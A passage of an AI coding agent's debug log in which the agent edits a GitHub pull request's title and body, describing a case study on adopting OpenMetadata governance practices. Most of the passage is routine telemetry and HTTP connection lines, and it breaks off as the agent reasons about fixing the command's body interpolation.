auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:08:14.592Z] [INFO] 2026-07-12T04:08:14.591172Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: feedback_tags: endpoint=\"/models\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:14.592Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] 2026-07-12T04:08:17.575943Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const body=`## Summary\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:17.577Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:17.577Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:17.577Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:17.577Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:17.577Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Fixes #5\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Research method\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:17.577Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:17.577Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:17.577Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:17.577Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Deliverables\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Verification\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:17.577Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:17.577Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:17.577Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:17.577Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.577Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:17.577Z] [INFO] const r=await tools.exec_command({cmd:\"gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000});\n[2026-07-12T04:08:17.577Z] [INFO] text(r.output);\n[2026-07-12T04:08:17.577Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:17.577Z] [INFO] \n[2026-07-12T04:08:17.586Z] [INFO] 2026-07-12T04:08:17.585142Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53132267ec8191985df55e84a4c696\"\n[2026-07-12T04:08:17.586Z] [INFO] 2026-07-12T04:08:17.585227Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76166 output_token_count=773 cached_token_count=75520 reasoning_token_count=113 tool_token_count=76939 ttft_ms=1196 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:17.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:17.586Z] [INFO] 2026-07-12T04:08:17.585259Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=76166 output_token_count=773 cached_token_count=75520 reasoning_token_count=113 tool_token_count=76939 ttft_ms=1196 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:17.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:17.586Z] [INFO] \n[2026-07-12T04:08:17.643Z] [INFO] 2026-07-12T04:08:17.642348Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-373c2de3-2ec1-494f-987c-3bcd3a2e7efb decision=approved source=Config event.timestamp=2026-07-12T04:08:17.642Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:17.643Z] [INFO] \n[2026-07-12T04:08:17.831Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_50\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:17.831Z] [INFO] \n[2026-07-12T04:08:19.285Z] [INFO] 2026-07-12T04:08:19.282603Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-373c2de3-2ec1-494f-987c-3bcd3a2e7efb arguments={\"cmd\":\"gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=1640 success=true output=Chunk ID: fbbfef\n[2026-07-12T04:08:19.285Z] [INFO] Wall time: 1.4681 seconds\n[2026-07-12T04:08:19.285Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:19.285Z] [INFO] Original token count: 14\n[2026-07-12T04:08:19.285Z] [INFO] Output:\n[2026-07-12T04:08:19.285Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:19.285Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:19.282Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.285Z] [INFO] 2026-07-12T04:08:19.282675Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-373c2de3-2ec1-494f-987c-3bcd3a2e7efb duration_ms=1640 success=true arguments_length=230 output_length=159 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:19.282Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.285Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] 2026-07-12T04:08:19.290001Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Xs1GHvtcyyOd3xIgUgf6ecFj arguments=const body=`## Summary\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - Add a deep case study of transferable OpenMetadata architecture and governance practices.\n[2026-07-12T04:08:19.296Z] [INFO] - Preserve issue, PR, repository, and release observations under \\`docs/case-studies/issue-5/raw-data/\\`.\n[2026-07-12T04:08:19.296Z] [INFO] - Enumerate all explicit and implied requirements and map each to a solution.\n[2026-07-12T04:08:19.296Z] [INFO] - Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\n[2026-07-12T04:08:19.296Z] [INFO] - Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\n[2026-07-12T04:08:19.296Z] [INFO] - Remove the issue-solver placeholder and add a patch changelog fragment.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] The central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Fixes #5\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Research method\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Research was performed on 2026-07-12 using:\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - all issue and PR comment/review API streams (all empty at collection time);\n[2026-07-12T04:08:19.296Z] [INFO] - the official OpenMetadata repository and latest release metadata;\n[2026-07-12T04:08:19.296Z] [INFO] - versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\n[2026-07-12T04:08:19.296Z] [INFO] - primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\n[2026-07-12T04:08:19.296Z] [INFO] - the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Sources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Deliverables\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/README.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/source-inventory.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/openmetadata-analysis.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/requirements-and-solutions.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`docs/case-studies/issue-5/raw-data/*.json\\`\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Verification\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo fmt --all -- --check\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo test --all-features --verbose\\` \u2014 18 tests passed\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo test --doc --verbose\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo clippy --all-targets --all-features\\`\n[2026-07-12T04:08:19.296Z] [INFO] - \\`cargo run --quiet --bin meta-ontology -- check-words README.md\\`\n[2026-07-12T04:08:19.296Z] [INFO] - JSON snapshots parsed successfully\n[2026-07-12T04:08:19.296Z] [INFO] - \\`git diff --check\\`\n[2026-07-12T04:08:19.296Z] [INFO] - Reproduced \\`scripts/check-file-size.rs\\` logic directly because \\`rust-script\\` is unavailable locally; all Rust files are under 1,000 lines\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] ## Follow-up recommendation\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] Begin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.`;\n[2026-07-12T04:08:19.296Z] [INFO] const r=await tools.exec_command({cmd:\"gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000});\n[2026-07-12T04:08:19.296Z] [INFO] text(r.output);\n[2026-07-12T04:08:19.296Z] [INFO]  duration_ms=1695 success=true output=Script completed\n[2026-07-12T04:08:19.296Z] [INFO] Wall time 1.7 seconds\n[2026-07-12T04:08:19.296Z] [INFO] Output:\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.296Z] [INFO] https://github.com/link-foundation/meta-ontology/pull/6\n[2026-07-12T04:08:19.296Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:19.289Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.296Z] [INFO] 2026-07-12T04:08:19.290069Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Xs1GHvtcyyOd3xIgUgf6ecFj duration_ms=1695 success=true arguments_length=2806 output_length=104 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:19.290Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.296Z] [INFO] \n[2026-07-12T04:08:19.317Z] [INFO] 2026-07-12T04:08:19.293545Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Xs1GHvtcyyOd3xIgUgf6ecFj tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1699 total_duration_ms=1699\n[2026-07-12T04:08:19.317Z] [INFO] \n[2026-07-12T04:08:19.363Z] [INFO] 2026-07-12T04:08:19.360589Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:19.363Z] [INFO] \n[2026-07-12T04:08:19.390Z] [INFO] 2026-07-12T04:08:19.390237Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:19.390Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.390Z] [INFO] \n[2026-07-12T04:08:19.408Z] [INFO] 2026-07-12T04:08:19.390895Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:19.390Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:19.408Z] [INFO] \n[2026-07-12T04:08:19.475Z] [INFO] 2026-07-12T04:08:19.391024Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:19.475Z] [INFO] \n[2026-07-12T04:08:19.476Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_50\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr edit 6 --repo link-foundation/meta-ontology --title \\\"Document OpenMetadata best-practice adoption plan\\\" --body-file -'\",\"aggregated_output\":\"https://github.com/link-foundation/meta-ontology/pull/6\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:19.476Z] [INFO] \n[2026-07-12T04:08:19.661Z] [INFO] 2026-07-12T04:08:19.660630Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:19.661Z] [INFO] \n[2026-07-12T04:08:19.693Z] [INFO] 2026-07-12T04:08:19.692740Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:19.693Z] [INFO] \n[2026-07-12T04:08:19.703Z] [INFO] 2026-07-12T04:08:19.699267Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:19.703Z] [INFO] \n[2026-07-12T04:08:19.712Z] [INFO] 2026-07-12T04:08:19.710022Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:19.712Z] [INFO] \n[2026-07-12T04:08:19.879Z] [INFO] 2026-07-12T04:08:19.879055Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:19.879Z] [INFO] \n[2026-07-12T04:08:19.885Z] [INFO] 2026-07-12T04:08:19.879166Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:19 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"4a5a168b-237c-453c-96dd-cf32cc870d94\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=IZVVv2FlqYJZUndh0EYDPXT5KntY77c8BW9DNJ%2BjQD9QjWlYnd6yAlBV54ghj%2B6UzR1VghXhjbEssQWOIjHE%2Fer%2Fj5UOf70P5Bt779228nbbWSLMrFjbzbavXe%2F8\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2fa38fa2d38c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:19.885Z] [INFO] \n[2026-07-12T04:08:20.550Z] [INFO] 2026-07-12T04:08:20.549938Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53133488888191a997912780ee057f\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxM0a8JEZxcsyXgKJS3axT2xlGpY5gYTxWoHXSOklNRl-S9-vjRp1alrAgOjlG6i7Gce1ToU6fe_aIShnpP_O3j-rV0zJ6GEMWCEA4x07AsX0a03fNrnDQJGSUJ1Em2lFb85xw8U9MXPMO6RIl0x9iQv9Jpbakl1Ya0Ob8i7040BJkrhD8dOo22MmdyUpYUJbpRElKzErjmr2y4SdGNP5yXl204MmFLNLy3a6WDNqBT6qF79LBHR7gmroyyJvpkZbAH-MQzxZIyd2-qXl3OCeCVy8XC-v-6773zFgyapO6WTT6kqT9t603FFEUmPGbX7pIxd3mH5TkG7PC66y0Pm_yqHbrbJUqrXjoAgj7xszCmvxLu1dcOttHNAAqQa5HpAmXVBTnx2JZQge3fjFJyGW6Ilfw2U2aKFPhBXpadXWyU9BNYHEIf_XFXSYGM_GIi2ZyBVFe0vQ0oKhDjviA_ga7Ivffb3CtTStMYXB5DZyt0w4J1JAAVhvz49cC8N6RjTVj60g6IKx9SllTv-uQlItQtBW6bKjkqo3gYLvUzpN92PttvBTtkHoXoFk6Wx3wbkIdRxE1tYyqJl113AglRQ8e2ZZhOQFCH9cp03MInxnpcmfitBQXrFpLLKKVSrwSaiSKnPQGxetwMvAnWi139R5MJpGGC0G3bKUIEn2s4J5zZGOvaUXbp8fCC7vBRxYmmb08M6leu027t-pXmyPAC_Pd4XAjeSZ7Oec-gmpmSZPl233Dvp4tgJhDJInXsA7zMpzppHEMtHNDsLOmtY3NCz_W3D6q-txsSrvNdWt6m-_R8CHxrxP2I6kgy7pd0_daTmyArnBahLPXf9OXbQMVJFhZ3hoaj6aJqRm72Gzc5PYe1z9vhH7u3zKLFgsbRXx2rBGJKu17YHkl8s4O3RluW6vG3exw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:20.550Z] [INFO] \n[2026-07-12T04:08:22.660Z] [INFO] 2026-07-12T04:08:22.660091Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53133488888191a997912780ee057f\"), summary: [SummaryText { text: \"**Fixing command body interpolation**\" }], content: Some([]), encrypted_content: 